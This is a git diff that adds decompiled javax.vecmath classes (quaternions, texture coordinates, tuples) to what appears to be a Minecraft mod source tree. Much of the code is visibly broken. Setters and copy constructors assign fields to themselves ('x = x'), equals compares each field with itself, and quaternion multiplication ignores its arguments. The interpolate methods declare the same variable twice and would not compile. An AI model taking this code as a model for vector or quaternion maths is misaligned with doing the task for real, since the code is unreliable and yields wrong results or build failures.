+  public final void conjugate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mul(Quat4d q1, Quat4d q2)
+  {
+    if ((this != q1) && (this != q2)) {
+      this.w = (w * w - x * x - y * y - z * z);
+      this.x = (w * x + w * x + y * z - z * y);
+      this.y = (w * y + w * y - x * z + z * x);
+      z = (w * z + w * z + x * y - y * x);
+    }
+    else
+    {
+      double w = w * w - x * x - y * y - z * z;
+      double x = w * x + w * x + y * z - z * y;
+      double y = w * y + w * y - x * z + z * x;
+      z = (w * z + w * z + x * y - y * x);
+      this.w = w;
+      this.x = x;
+      this.y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mul(Quat4d q1)
+  {
+    double w = this.w * w - this.x * x - this.y * y - z * z;
+    double x = this.w * x + w * this.x + this.y * z - z * y;
+    double y = this.w * y + w * this.y - this.x * z + z * x;
+    z = (this.w * z + w * z + this.x * y - this.y * x);
+    this.w = w;
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulInverse(Quat4d q1, Quat4d q2)
+  {
+    Quat4d tempQuat = new Quat4d(q2);
+    
+    tempQuat.inverse();
+    mul(q1, tempQuat);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulInverse(Quat4d q1)
+  {
+    Quat4d tempQuat = new Quat4d(q1);
+    
+    tempQuat.inverse();
+    mul(tempQuat);
+  }
+  
+
+
+
+
+
+
+
+  public final void inverse(Quat4d q1)
+  {
+    double norm = 1.0D / (w * w + x * x + y * y + z * z);
+    w = (norm * w);
+    x = (-norm * x);
+    y = (-norm * y);
+    z = (-norm * z);
+  }
+  
+
+
+
+
+
+
+  public final void inverse()
+  {
+    double norm = 1.0D / (w * w + x * x + y * y + z * z);
+    w *= norm;
+    x *= -norm;
+    y *= -norm;
+    z *= -norm;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void normalize(Quat4d q1)
+  {
+    double norm = x * x + y * y + z * z + w * w;
+    
+    if (norm > 0.0D) {
+      norm = 1.0D / Math.sqrt(norm);
+      x = (norm * x);
+      y = (norm * y);
+      z = (norm * z);
+      w = (norm * w);
+    } else {
+      x = 0.0D;
+      y = 0.0D;
+      z = 0.0D;
+      w = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    double norm = x * x + y * y + z * z + w * w;
+    
+    if (norm > 0.0D) {
+      norm = 1.0D / Math.sqrt(norm);
+      x *= norm;
+      y *= norm;
+      z *= norm;
+      w *= norm;
+    } else {
+      x = 0.0D;
+      y = 0.0D;
+      z = 0.0D;
+      w = 0.0D;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    double ww = 0.25D * (m00 + m11 + m22 + m33);
+    
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        w = Math.sqrt(ww);
+        ww = 0.25D / w;
+        x = ((m21 - m12) * ww);
+        y = ((m02 - m20) * ww);
+        z = ((m10 - m01) * ww);
+      }
+    }
+    else {
+      w = 0.0D;
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    w = 0.0D;
+    ww = -0.5D * (m11 + m22);
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        x = Math.sqrt(ww);
+        ww = 1.0D / (2.0D * x);
+        y = (m10 * ww);
+        z = (m20 * ww);
+      }
+    }
+    else {
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    x = 0.0D;
+    ww = 0.5D * (1.0D - m22);
+    if (ww >= 1.0E-30D) {
+      y = Math.sqrt(ww);
+      z = (m21 / (2.0D * y));
+      return;
+    }
+    
+    y = 0.0D;
+    z = 1.0D;
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    double ww = 0.25D * (m00 + m11 + m22 + m33);
+    
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        w = Math.sqrt(ww);
+        ww = 0.25D / w;
+        x = ((m21 - m12) * ww);
+        y = ((m02 - m20) * ww);
+        z = ((m10 - m01) * ww);
+      }
+    }
+    else {
+      w = 0.0D;
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    w = 0.0D;
+    ww = -0.5D * (m11 + m22);
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        x = Math.sqrt(ww);
+        ww = 0.5D / x;
+        y = (m10 * ww);
+        z = (m20 * ww);
+      }
+    }
+    else {
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    x = 0.0D;
+    ww = 0.5D * (1.0D - m22);
+    if (ww >= 1.0E-30D) {
+      y = Math.sqrt(ww);
+      z = (m21 / (2.0D * y));
+      return;
+    }
+    
+    y = 0.0D;
+    z = 1.0D;
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    double ww = 0.25D * (m00 + m11 + m22 + 1.0D);
+    
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        w = Math.sqrt(ww);
+        ww = 0.25D / w;
+        x = ((m21 - m12) * ww);
+        y = ((m02 - m20) * ww);
+        z = ((m10 - m01) * ww);
+      }
+    }
+    else {
+      w = 0.0D;
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    w = 0.0D;
+    ww = -0.5D * (m11 + m22);
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        x = Math.sqrt(ww);
+        ww = 0.5D / x;
+        y = (m10 * ww);
+        z = (m20 * ww);
+      }
+    }
+    else {
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    x = 0.0D;
+    ww = 0.5D * (1.0D - m22);
+    if (ww >= 1.0E-30D) {
+      y = Math.sqrt(ww);
+      z = (m21 / (2.0D * y));
+    }
+    
+    y = 0.0D;
+    z = 1.0D;
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    double ww = 0.25D * (m00 + m11 + m22 + 1.0D);
+    
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        w = Math.sqrt(ww);
+        ww = 0.25D / w;
+        x = ((m21 - m12) * ww);
+        y = ((m02 - m20) * ww);
+        z = ((m10 - m01) * ww);
+      }
+    }
+    else {
+      w = 0.0D;
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    w = 0.0D;
+    ww = -0.5D * (m11 + m22);
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        x = Math.sqrt(ww);
+        ww = 0.5D / x;
+        y = (m10 * ww);
+        z = (m20 * ww);
+      }
+    }
+    else {
+      x = 0.0D;
+      y = 0.0D;
+      z = 1.0D;
+      return;
+    }
+    
+    x = 0.0D;
+    ww = 0.5D * (1.0D - m22);
+    if (ww >= 1.0E-30D) {
+      y = Math.sqrt(ww);
+      z = (m21 / (2.0D * y));
+      return;
+    }
+    
+    y = 0.0D;
+    z = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(AxisAngle4f a)
+  {
+    double amag = Math.sqrt(x * x + y * y + z * z);
+    if (amag < 1.0E-12D) {
+      w = 0.0D;
+      x = 0.0D;
+      y = 0.0D;
+      z = 0.0D;
+    } else {
+      double mag = Math.sin(angle / 2.0D);
+      amag = 1.0D / amag;
+      w = Math.cos(angle / 2.0D);
+      x = (x * amag * mag);
+      y = (y * amag * mag);
+      z = (z * amag * mag);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(AxisAngle4d a)
+  {
+    double amag = Math.sqrt(x * x + y * y + z * z);
+    if (amag < 1.0E-12D) {
+      w = 0.0D;
+      x = 0.0D;
+      y = 0.0D;
+      z = 0.0D;
+    } else {
+      amag = 1.0D / amag;
+      double mag = Math.sin(angle / 2.0D);
+      w = Math.cos(angle / 2.0D);
+      x = (x * amag * mag);
+      y = (y * amag * mag);
+      z = (z * amag * mag);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Quat4d q1, double alpha)
+  {
+    double dot = x * x + y * y + z * z + w * w;
+    
+    if (dot < 0.0D)
+    {
+      x = (-x);y = (-y);z = (-z);w = (-w);
+      dot = -dot; }
+    double s2;
+    double s1;
+    double s2; if (1.0D - dot > 1.0E-12D) {
+      double om = Math.acos(dot);
+      double sinom = Math.sin(om);
+      double s1 = Math.sin((1.0D - alpha) * om) / sinom;
+      s2 = Math.sin(alpha * om) / sinom;
+    } else {
+      s1 = 1.0D - alpha;
+      s2 = alpha;
+    }
+    
+    w = (s1 * w + s2 * w);
+    x = (s1 * x + s2 * x);
+    y = (s1 * y + s2 * y);
+    z = (s1 * z + s2 * z);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Quat4d q1, Quat4d q2, double alpha)
+  {
+    double dot = x * x + y * y + z * z + w * w;
+    
+    if (dot < 0.0D)
+    {
+      x = (-x);y = (-y);z = (-z);w = (-w);
+      dot = -dot; }
+    double s2;
+    double s1;
+    double s2; if (1.0D - dot > 1.0E-12D) {
+      double om = Math.acos(dot);
+      double sinom = Math.sin(om);
+      double s1 = Math.sin((1.0D - alpha) * om) / sinom;
+      s2 = Math.sin(alpha * om) / sinom;
+    } else {
+      s1 = 1.0D - alpha;
+      s2 = alpha;
+    }
+    w = (s1 * w + s2 * w);
+    x = (s1 * x + s2 * x);
+    y = (s1 * y + s2 * y);
+    z = (s1 * z + s2 * z);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Quat4f.java b/src/minecraft/javax/vecmath/Quat4f.java
new file mode 100644
index 0000000..f9144ac
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Quat4f.java
@@ -0,0 +1,690 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Quat4f
+  extends Tuple4f
+  implements Serializable
+{
+  static final long serialVersionUID = 2675933778405442383L;
+  static final double EPS = 1.0E-6D;
+  static final double EPS2 = 1.0E-30D;
+  static final double PIO2 = 1.57079632679D;
+  
+  public Quat4f(float x, float y, float z, float w)
+  {
+    float mag = (float)(1.0D / Math.sqrt(x * x + y * y + z * z + w * w));
+    this.x = (x * mag);
+    this.y = (y * mag);
+    this.z = (z * mag);
+    this.w = (w * mag);
+  }
+  
+
+
+
+
+
+
+  public Quat4f(float[] q)
+  {
+    float mag = (float)(1.0D / Math.sqrt(q[0] * q[0] + q[1] * q[1] + q[2] * q[2] + q[3] * q[3]));
+    x = (q[0] * mag);
+    y = (q[1] * mag);
+    z = (q[2] * mag);
+    w = (q[3] * mag);
+  }
+  
+
+
+
+
+
+
+  public Quat4f(Quat4f q1)
+  {
+    super(q1);
+  }
+  
+
+
+
+
+  public Quat4f(Quat4d q1)
+  {
+    super(q1);
+  }
+  
+
+
+
+
+
+
+  public Quat4f(Tuple4f t1)
+  {
+    float mag = (float)(1.0D / Math.sqrt(x * x + y * y + z * z + w * w));
+    x = (x * mag);
+    y = (y * mag);
+    z = (z * mag);
+    w = (w * mag);
+  }
+  
+
+
+
+
+
+
+
+  public Quat4f(Tuple4d t1)
+  {
+    double mag = 1.0D / Math.sqrt(x * x + y * y + z * z + w * w);
+    x = ((float)(x * mag));
+    y = ((float)(y * mag));
+    z = ((float)(z * mag));
+    w = ((float)(w * mag));
+  }
+  
+
+
+
+
+
+
+  public Quat4f() {}
+  
+
+
+
+
+
+
+  public final void conjugate(Quat4f q1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = w;
+  }
+  
+
+
+
+  public final void conjugate()
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mul(Quat4f q1, Quat4f q2)
+  {
+    if ((this != q1) && (this != q2)) {
+      this.w = (w * w - x * x - y * y - z * z);
+      this.x = (w * x + w * x + y * z - z * y);
+      this.y = (w * y + w * y - x * z + z * x);
+      z = (w * z + w * z + x * y - y * x);
+    }
+    else
+    {
+      float w = w * w - x * x - y * y - z * z;
+      float x = w * x + w * x + y * z - z * y;
+      float y = w * y + w * y - x * z + z * x;
+      z = (w * z + w * z + x * y - y * x);
+      this.w = w;
+      this.x = x;
+      this.y = y;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mul(Quat4f q1)
+  {
+    float w = this.w * w - this.x * x - this.y * y - z * z;
+    float x = this.w * x + w * this.x + this.y * z - z * y;
+    float y = this.w * y + w * this.y - this.x * z + z * x;
+    z = (this.w * z + w * z + this.x * y - this.y * x);
+    this.w = w;
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulInverse(Quat4f q1, Quat4f q2)
+  {
+    Quat4f tempQuat = new Quat4f(q2);
+    
+    tempQuat.inverse();
+    mul(q1, tempQuat);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void mulInverse(Quat4f q1)
+  {
+    Quat4f tempQuat = new Quat4f(q1);
+    
+    tempQuat.inverse();
+    mul(tempQuat);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void inverse(Quat4f q1)
+  {
+    float norm = 1.0F / (w * w + x * x + y * y + z * z);
+    w = (norm * w);
+    x = (-norm * x);
+    y = (-norm * y);
+    z = (-norm * z);
+  }
+  
+
+
+
+
+
+
+  public final void inverse()
+  {
+    float norm = 1.0F / (w * w + x * x + y * y + z * z);
+    w *= norm;
+    x *= -norm;
+    y *= -norm;
+    z *= -norm;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void normalize(Quat4f q1)
+  {
+    float norm = x * x + y * y + z * z + w * w;
+    
+    if (norm > 0.0F) {
+      norm = 1.0F / (float)Math.sqrt(norm);
+      x = (norm * x);
+      y = (norm * y);
+      z = (norm * z);
+      w = (norm * w);
+    } else {
+      x = 0.0F;
+      y = 0.0F;
+      z = 0.0F;
+      w = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void normalize()
+  {
+    float norm = x * x + y * y + z * z + w * w;
+    
+    if (norm > 0.0F) {
+      norm = 1.0F / (float)Math.sqrt(norm);
+      x *= norm;
+      y *= norm;
+      z *= norm;
+      w *= norm;
+    } else {
+      x = 0.0F;
+      y = 0.0F;
+      z = 0.0F;
+      w = 0.0F;
+    }
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    float ww = 0.25F * (m00 + m11 + m22 + m33);
+    
+    if (ww >= 0.0F) {
+      if (ww >= 1.0E-30D) {
+        w = ((float)Math.sqrt(ww));
+        ww = 0.25F / w;
+        x = ((m21 - m12) * ww);
+        y = ((m02 - m20) * ww);
+        z = ((m10 - m01) * ww);
+      }
+    }
+    else {
+      w = 0.0F;
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    w = 0.0F;
+    ww = -0.5F * (m11 + m22);
+    
+    if (ww >= 0.0F) {
+      if (ww >= 1.0E-30D) {
+        x = ((float)Math.sqrt(ww));
+        ww = 1.0F / (2.0F * x);
+        y = (m10 * ww);
+        z = (m20 * ww);
+      }
+    }
+    else {
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    x = 0.0F;
+    ww = 0.5F * (1.0F - m22);
+    
+    if (ww >= 1.0E-30D) {
+      y = ((float)Math.sqrt(ww));
+      z = (m21 / (2.0F * y));
+      return;
+    }
+    
+    y = 0.0F;
+    z = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    double ww = 0.25D * (m00 + m11 + m22 + m33);
+    
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        w = ((float)Math.sqrt(ww));
+        ww = 0.25D / w;
+        x = ((float)((m21 - m12) * ww));
+        y = ((float)((m02 - m20) * ww));
+        z = ((float)((m10 - m01) * ww));
+      }
+    }
+    else {
+      w = 0.0F;
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    w = 0.0F;
+    ww = -0.5D * (m11 + m22);
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        x = ((float)Math.sqrt(ww));
+        ww = 0.5D / x;
+        y = ((float)(m10 * ww));
+        z = ((float)(m20 * ww));
+      }
+    }
+    else {
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    x = 0.0F;
+    ww = 0.5D * (1.0D - m22);
+    if (ww >= 1.0E-30D) {
+      y = ((float)Math.sqrt(ww));
+      z = ((float)(m21 / (2.0D * y)));
+      return;
+    }
+    
+    y = 0.0F;
+    z = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    float ww = 0.25F * (m00 + m11 + m22 + 1.0F);
+    
+    if (ww >= 0.0F) {
+      if (ww >= 1.0E-30D) {
+        w = ((float)Math.sqrt(ww));
+        ww = 0.25F / w;
+        x = ((m21 - m12) * ww);
+        y = ((m02 - m20) * ww);
+        z = ((m10 - m01) * ww);
+      }
+    }
+    else {
+      w = 0.0F;
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    w = 0.0F;
+    ww = -0.5F * (m11 + m22);
+    if (ww >= 0.0F) {
+      if (ww >= 1.0E-30D) {
+        x = ((float)Math.sqrt(ww));
+        ww = 0.5F / x;
+        y = (m10 * ww);
+        z = (m20 * ww);
+      }
+    }
+    else {
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    x = 0.0F;
+    ww = 0.5F * (1.0F - m22);
+    if (ww >= 1.0E-30D) {
+      y = ((float)Math.sqrt(ww));
+      z = (m21 / (2.0F * y));
+      return;
+    }
+    
+    y = 0.0F;
+    z = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    double ww = 0.25D * (m00 + m11 + m22 + 1.0D);
+    
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        w = ((float)Math.sqrt(ww));
+        ww = 0.25D / w;
+        x = ((float)((m21 - m12) * ww));
+        y = ((float)((m02 - m20) * ww));
+        z = ((float)((m10 - m01) * ww));
+      }
+    }
+    else {
+      w = 0.0F;
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    w = 0.0F;
+    ww = -0.5D * (m11 + m22);
+    if (ww >= 0.0D) {
+      if (ww >= 1.0E-30D) {
+        x = ((float)Math.sqrt(ww));
+        ww = 0.5D / x;
+        y = ((float)(m10 * ww));
+        z = ((float)(m20 * ww));
+      }
+    }
+    else {
+      x = 0.0F;
+      y = 0.0F;
+      z = 1.0F;
+      return;
+    }
+    
+    x = 0.0F;
+    ww = 0.5D * (1.0D - m22);
+    if (ww >= 1.0E-30D) {
+      y = ((float)Math.sqrt(ww));
+      z = ((float)(m21 / (2.0D * y)));
+      return;
+    }
+    
+    y = 0.0F;
+    z = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(AxisAngle4f a)
+  {
+    float amag = (float)Math.sqrt(x * x + y * y + z * z);
+    if (amag < 1.0E-6D) {
+      w = 0.0F;
+      x = 0.0F;
+      y = 0.0F;
+      z = 0.0F;
+    } else {
+      amag = 1.0F / amag;
+      float mag = (float)Math.sin(angle / 2.0D);
+      w = ((float)Math.cos(angle / 2.0D));
+      x = (x * amag * mag);
+      y = (y * amag * mag);
+      z = (z * amag * mag);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(AxisAngle4d a)
+  {
+    float amag = (float)(1.0D / Math.sqrt(x * x + y * y + z * z));
+    
+    if (amag < 1.0E-6D) {
+      w = 0.0F;
+      x = 0.0F;
+      y = 0.0F;
+      z = 0.0F;
+    } else {
+      amag = 1.0F / amag;
+      float mag = (float)Math.sin(angle / 2.0D);
+      w = ((float)Math.cos(angle / 2.0D));
+      x = ((float)x * amag * mag);
+      y = ((float)y * amag * mag);
+      z = ((float)z * amag * mag);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Quat4f q1, float alpha)
+  {
+    double dot = x * x + y * y + z * z + w * w;
+    
+    if (dot < 0.0D)
+    {
+      x = (-x);y = (-y);z = (-z);w = (-w);
+      dot = -dot; }
+    double s2;
+    double s1;
+    double s2; if (1.0D - dot > 1.0E-6D) {
+      double om = Math.acos(dot);
+      double sinom = Math.sin(om);
+      double s1 = Math.sin((1.0D - alpha) * om) / sinom;
+      s2 = Math.sin(alpha * om) / sinom;
+    } else {
+      s1 = 1.0D - alpha;
+      s2 = alpha;
+    }
+    
+    w = ((float)(s1 * w + s2 * w));
+    x = ((float)(s1 * x + s2 * x));
+    y = ((float)(s1 * y + s2 * y));
+    z = ((float)(s1 * z + s2 * z));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final void interpolate(Quat4f q1, Quat4f q2, float alpha)
+  {
+    double dot = x * x + y * y + z * z + w * w;
+    
+    if (dot < 0.0D)
+    {
+      x = (-x);y = (-y);z = (-z);w = (-w);
+      dot = -dot; }
+    double s2;
+    double s1;
+    double s2; if (1.0D - dot > 1.0E-6D) {
+      double om = Math.acos(dot);
+      double sinom = Math.sin(om);
+      double s1 = Math.sin((1.0D - alpha) * om) / sinom;
+      s2 = Math.sin(alpha * om) / sinom;
+    } else {
+      s1 = 1.0D - alpha;
+      s2 = alpha;
+    }
+    w = ((float)(s1 * w + s2 * w));
+    x = ((float)(s1 * x + s2 * x));
+    y = ((float)(s1 * y + s2 * y));
+    z = ((float)(s1 * z + s2 * z));
+  }
+}
diff --git a/src/minecraft/javax/vecmath/SingularMatrixException.java b/src/minecraft/javax/vecmath/SingularMatrixException.java
new file mode 100644
index 0000000..79c634f
--- /dev/null
+++ b/src/minecraft/javax/vecmath/SingularMatrixException.java
@@ -0,0 +1,53 @@
+package javax.vecmath;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SingularMatrixException
+  extends RuntimeException
+{
+  public SingularMatrixException() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SingularMatrixException(String str)
+  {
+    super(str);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/TexCoord2f.java b/src/minecraft/javax/vecmath/TexCoord2f.java
new file mode 100644
index 0000000..44ebeae
--- /dev/null
+++ b/src/minecraft/javax/vecmath/TexCoord2f.java
@@ -0,0 +1,87 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TexCoord2f
+  extends Tuple2f
+  implements Serializable
+{
+  static final long serialVersionUID = 7998248474800032487L;
+  
+  public TexCoord2f(float x, float y)
+  {
+    super(x, y);
+  }
+  
+
+
+
+
+
+  public TexCoord2f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public TexCoord2f(TexCoord2f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public TexCoord2f(Tuple2f t1)
+  {
+    super(t1);
+  }
+  
+  public TexCoord2f() {}
+}
diff --git a/src/minecraft/javax/vecmath/TexCoord3f.java b/src/minecraft/javax/vecmath/TexCoord3f.java
new file mode 100644
index 0000000..e0e56df
--- /dev/null
+++ b/src/minecraft/javax/vecmath/TexCoord3f.java
@@ -0,0 +1,99 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TexCoord3f
+  extends Tuple3f
+  implements Serializable
+{
+  static final long serialVersionUID = -3517736544731446513L;
+  
+  public TexCoord3f(float x, float y, float z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+
+  public TexCoord3f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public TexCoord3f(TexCoord3f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public TexCoord3f(Tuple3f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public TexCoord3f(Tuple3d t1)
+  {
+    super(t1);
+  }
+  
+  public TexCoord3f() {}
+}
diff --git a/src/minecraft/javax/vecmath/TexCoord4f.java b/src/minecraft/javax/vecmath/TexCoord4f.java
new file mode 100644
index 0000000..087e6fb
--- /dev/null
+++ b/src/minecraft/javax/vecmath/TexCoord4f.java
@@ -0,0 +1,101 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TexCoord4f
+  extends Tuple4f
+  implements Serializable
+{
+  static final long serialVersionUID = -3517736544731446513L;
+  
+  public TexCoord4f(float x, float y, float z, float w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+
+  public TexCoord4f(float[] v)
+  {
+    super(v);
+  }
+  
+
+
+
+
+
+  public TexCoord4f(TexCoord4f v1)
+  {
+    super(v1);
+  }
+  
+
+
+
+
+
+  public TexCoord4f(Tuple4f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public TexCoord4f(Tuple4d t1)
+  {
+    super(t1);
+  }
+  
+  public TexCoord4f() {}
+}
diff --git a/src/minecraft/javax/vecmath/Tuple2d.java b/src/minecraft/javax/vecmath/Tuple2d.java
new file mode 100644
index 0000000..d8c6e9c
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Tuple2d.java
@@ -0,0 +1,605 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Tuple2d
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 6205762482756093838L;
+  public double x;
+  public double y;
+  
+  public Tuple2d(double x, double y)
+  {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+  public Tuple2d(double[] t)
+  {
+    x = t[0];
+    y = t[1];
+  }
+  
+
+
+
+
+
+  public Tuple2d(Tuple2d t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+  public Tuple2d(Tuple2f t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+  public Tuple2d()
+  {
+    x = 0.0D;
+    y = 0.0D;
+  }
+  
+
+
+
+
+
+
+  public final void set(double x, double y)
+  {
+    this.x = x;
+    this.y = y;
+  }
+  
+
+
+
+
+
+
+  public final void set(double[] t)
+  {
+    x = t[0];
+    y = t[1];
+  }
+  
+
+
+
+
+
+  public final void set(Tuple2d t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+  public final void set(Tuple2f t1)
+  {
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+  public final void get(double[] t)
+  {
+    t[0] = x;
+    t[1] = y;
+  }
+  
+
+
+
+
+
+
+  public final void add(Tuple2d t1, Tuple2d t2)
+  {
+    x += x;
+    y += y;
+  }
+  
+
+
+
+
+
+  public final void add(Tuple2d t1)
+  {
+    x += x;
+    y += y;
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(Tuple2d t1, Tuple2d t2)
+  {
+    x -= x;
+    y -= y;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Tuple2d t1)
+  {
+    x -= x;
+    y -= y;
+  }
+  
+
+
+
+
+
+  public final void negate(Tuple2d t1)
+  {
+    x = (-x);
+    y = (-y);
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    x = (-x);
+    y = (-y);
+  }
+  
+
+
+
+
+
+
+
+  public final void scale(double s, Tuple2d t1)
+  {
+    x = (s * x);
+    y = (s * y);
+  }
+  
+
+
+
+
+
+
+  public final void scale(double s)
+  {
+    x *= s;
+    y *= s;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void scaleAdd(double s, Tuple2d t1, Tuple2d t2)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+  }
+  
+
+
+
+
+
+
+
+  public final void scaleAdd(double s, Tuple2d t1)
+  {
+    x = (s * x + x);
+    y = (s * y + y);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(x);
+    bits = 31L * bits + VecMathUtil.doubleToLongBits(y);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+
+
+  public boolean equals(Tuple2d t1)
+  {
+    try
+    {
+      return (x == x) && (y == y);
+    } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object t1)
+  {
+    try
+    {
+      Tuple2d t2 = (Tuple2d)t1;
+      return (x == x) && (y == y);
+    } catch (NullPointerException e2) {
+      return false; } catch (ClassCastException e1) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Tuple2d t1, double epsilon)
+  {
+    double diff = x - x;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    diff = y - y;
+    if (Double.isNaN(diff)) return false;
+    if ((diff < 0.0D ? -diff : diff) > epsilon) { return false;
+    }
+    return true;
+  }
+  
+
+
